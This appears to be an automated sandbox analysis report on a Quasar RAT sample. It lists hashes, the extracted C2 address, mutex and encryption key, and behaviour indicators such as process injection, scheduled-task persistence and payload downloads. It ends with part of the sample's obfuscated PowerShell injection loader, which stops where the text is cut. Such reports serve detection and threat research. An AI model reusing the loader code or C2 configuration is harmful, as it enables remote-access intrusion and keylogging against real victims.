quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

Analysis

max time kernel
1800s
max time network
1791s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08-05-2024 17:26

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General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral3/memory/3952-1-0x00000000006F0000-0x000000000075C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 964 created 616 964 powershell.EXE winlogon.exe
PID 2020 created 616 2020 powershell.EXE winlogon.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

3592 $sxr-powershell.exe
2660 install.exe
2944 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

14 raw.githubusercontent.com
15 raw.githubusercontent.com
24 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 ip-api.com

description	pid	process	target process
PID 964 created 616	964	powershell.EXE	winlogon.exe
PID 2020 created 616	2020	powershell.EXE	winlogon.exe

pid	process
3592	$sxr-powershell.exe
2660	install.exe
2944	install.exe

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com
24	raw.githubusercontent.com

flow	ioc
8	ip-api.com

Drops file in System32 directory 12 IoCs

Processes:

powershell.EXEsvchost.exesvchost.exepowershell.EXEOfficeClickToRun.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 964 set thread context of 3112	964	powershell.EXE	dllhost.exe
PID 2020 set thread context of 1492	2020	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

3204 schtasks.exe
4488 SCHTASKS.exe
3264 schtasks.exe

pid	process
3204	schtasks.exe
4488	SCHTASKS.exe
3264	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE

Modifies registry class 3 IoCs

Processes:

Explorer.EXEsihost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exe$sxr-powershell.exe

pid	process
964	powershell.EXE
964	powershell.EXE
2020	powershell.EXE
2020	powershell.EXE
964	powershell.EXE
3112	dllhost.exe
3112	dllhost.exe
2020	powershell.EXE
3112	dllhost.exe
3112	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
3592	$sxr-powershell.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
3592	$sxr-powershell.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
3592	$sxr-powershell.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe
1492	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	3952	Uni.exe
Token: SeDebugPrivilege	3592	$sxr-powershell.exe
Token: SeDebugPrivilege	964	powershell.EXE
Token: SeDebugPrivilege	2020	powershell.EXE
Token: SeDebugPrivilege	964	powershell.EXE
Token: SeDebugPrivilege	3112	dllhost.exe
Token: SeDebugPrivilege	2020	powershell.EXE
Token: SeDebugPrivilege	1492	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1700	svchost.exe
Token: SeIncreaseQuotaPrivilege	1700	svchost.exe
Token: SeSecurityPrivilege	1700	svchost.exe
Token: SeTakeOwnershipPrivilege	1700	svchost.exe
Token: SeLoadDriverPrivilege	1700	svchost.exe
Token: SeSystemtimePrivilege	1700	svchost.exe
Token: SeBackupPrivilege	1700	svchost.exe
Token: SeRestorePrivilege	1700	svchost.exe
Token: SeShutdownPrivilege	1700	svchost.exe
Token: SeSystemEnvironmentPrivilege	1700	svchost.exe
Token: SeUndockPrivilege	1700	svchost.exe
Token: SeManageVolumePrivilege	1700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1700	svchost.exe
Token: SeIncreaseQuotaPrivilege	1700	svchost.exe
Token: SeSecurityPrivilege	1700	svchost.exe
Token: SeTakeOwnershipPrivilege	1700	svchost.exe
Token: SeLoadDriverPrivilege	1700	svchost.exe
Token: SeSystemtimePrivilege	1700	svchost.exe
Token: SeBackupPrivilege	1700	svchost.exe
Token: SeRestorePrivilege	1700	svchost.exe
Token: SeShutdownPrivilege	1700	svchost.exe
Token: SeSystemEnvironmentPrivilege	1700	svchost.exe
Token: SeUndockPrivilege	1700	svchost.exe
Token: SeManageVolumePrivilege	1700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1700	svchost.exe
Token: SeIncreaseQuotaPrivilege	1700	svchost.exe
Token: SeSecurityPrivilege	1700	svchost.exe
Token: SeTakeOwnershipPrivilege	1700	svchost.exe
Token: SeLoadDriverPrivilege	1700	svchost.exe
Token: SeSystemtimePrivilege	1700	svchost.exe
Token: SeBackupPrivilege	1700	svchost.exe
Token: SeRestorePrivilege	1700	svchost.exe
Token: SeShutdownPrivilege	1700	svchost.exe
Token: SeSystemEnvironmentPrivilege	1700	svchost.exe
Token: SeUndockPrivilege	1700	svchost.exe
Token: SeManageVolumePrivilege	1700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1700	svchost.exe
Token: SeIncreaseQuotaPrivilege	1700	svchost.exe
Token: SeSecurityPrivilege	1700	svchost.exe
Token: SeTakeOwnershipPrivilege	1700	svchost.exe
Token: SeLoadDriverPrivilege	1700	svchost.exe
Token: SeSystemtimePrivilege	1700	svchost.exe
Token: SeBackupPrivilege	1700	svchost.exe
Token: SeRestorePrivilege	1700	svchost.exe
Token: SeShutdownPrivilege	1700	svchost.exe
Token: SeSystemEnvironmentPrivilege	1700	svchost.exe
Token: SeUndockPrivilege	1700	svchost.exe
Token: SeManageVolumePrivilege	1700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1700	svchost.exe
Token: SeIncreaseQuotaPrivilege	1700	svchost.exe
Token: SeSecurityPrivilege	1700	svchost.exe
Token: SeTakeOwnershipPrivilege	1700	svchost.exe
Token: SeLoadDriverPrivilege	1700	svchost.exe
Token: SeSystemtimePrivilege	1700	svchost.exe
Token: SeBackupPrivilege	1700	svchost.exe
Token: SeRestorePrivilege	1700	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

3592 $sxr-powershell.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

RuntimeBroker.exeExplorer.EXE

pid process

4044 RuntimeBroker.exe
3520 Explorer.EXE

pid	process
3592	$sxr-powershell.exe

pid	process
4044	RuntimeBroker.exe
3520	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exe

description	pid	process	target process
PID 3952 wrote to memory of 3204	3952	Uni.exe	schtasks.exe
PID 3952 wrote to memory of 3204	3952	Uni.exe	schtasks.exe
PID 3952 wrote to memory of 3204	3952	Uni.exe	schtasks.exe
PID 3952 wrote to memory of 3592	3952	Uni.exe	$sxr-powershell.exe
PID 3952 wrote to memory of 3592	3952	Uni.exe	$sxr-powershell.exe
PID 3952 wrote to memory of 3592	3952	Uni.exe	$sxr-powershell.exe
PID 3952 wrote to memory of 2660	3952	Uni.exe	install.exe
PID 3952 wrote to memory of 2660	3952	Uni.exe	install.exe
PID 3952 wrote to memory of 2660	3952	Uni.exe	install.exe
PID 3952 wrote to memory of 4488	3952	Uni.exe	SCHTASKS.exe
PID 3952 wrote to memory of 4488	3952	Uni.exe	SCHTASKS.exe
PID 3952 wrote to memory of 4488	3952	Uni.exe	SCHTASKS.exe
PID 3592 wrote to memory of 3264	3592	$sxr-powershell.exe	schtasks.exe
PID 3592 wrote to memory of 3264	3592	$sxr-powershell.exe	schtasks.exe
PID 3592 wrote to memory of 3264	3592	$sxr-powershell.exe	schtasks.exe
PID 3592 wrote to memory of 2944	3592	$sxr-powershell.exe	install.exe
PID 3592 wrote to memory of 2944	3592	$sxr-powershell.exe	install.exe
PID 3592 wrote to memory of 2944	3592	$sxr-powershell.exe	install.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 964 wrote to memory of 3112	964	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 2020 wrote to memory of 1492	2020	powershell.EXE	dllhost.exe
PID 3112 wrote to memory of 616	3112	dllhost.exe	winlogon.exe
PID 3112 wrote to memory of 668	3112	dllhost.exe	lsass.exe
PID 3112 wrote to memory of 956	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1020	3112	dllhost.exe	dwm.exe
PID 3112 wrote to memory of 756	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1044	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1136	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1144	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1152	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1200	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1212	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1320	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1356	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1408	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1420	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1592	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1604	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1616	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1732	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1740	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1780	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1864	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1992	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 2000	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1512	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1600	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 1700	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 2160	3112	dllhost.exe	spoolsv.exe
PID 3112 wrote to memory of 2264	3112	dllhost.exe	svchost.exe
PID 3112 wrote to memory of 2368	3112	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{715e1aca-8a62-4869-ae93-83ac95fe506d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3112
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{eeff4e80-99ab-44af-a0bf-9101c0409659}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1492

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1136
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:BINKnIHxwiey{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UegCyXwrYbZAli,[Parameter(Position=1)][Type]$dtrYrxtQQz)$JKXiSmotQTF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+'ec'+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+'o'+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'Ty'+'p'+''+'e'+'',''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+'s,'+[Char](80)+'ubl'+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+','+''+'A'+'utoC'+'l'+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$JKXiSmotQTF.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+'l'+'N'+'am'+'e'+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$UegCyXwrYbZAli).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+'n'+'a'+'g'+[Char](101)+''+[Char](100)+'');$JKXiSmotQTF.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'Si'+'g'+''+[Char](44)+''+'N'+''+'e'+'wS'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$dtrYrxtQQz,$UegCyXwrYbZAli).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $JKXiSmotQTF.CreateType();}$raAYPElaBkkuD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 